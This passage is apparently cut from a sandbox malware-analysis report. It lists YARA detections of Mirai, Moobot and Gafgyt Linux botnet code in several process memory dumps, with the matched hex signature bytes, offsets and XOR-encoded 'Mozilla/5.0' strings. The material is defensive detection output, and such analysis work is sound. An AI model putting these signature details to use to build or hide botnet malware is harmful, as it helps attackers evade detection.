2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7026.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6782.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6777.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6777.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6777.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6777.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6777.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6777.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6564.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6564.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6564.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6564.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6564.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6564.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7186.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7382.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7382.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7382.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7382.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7382.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7382.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6897.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6897.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6897.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6897.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6897.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6897.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7397.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7397.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7397.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7397.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7397.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7397.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7193.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7193.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7193.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7193.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7193.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
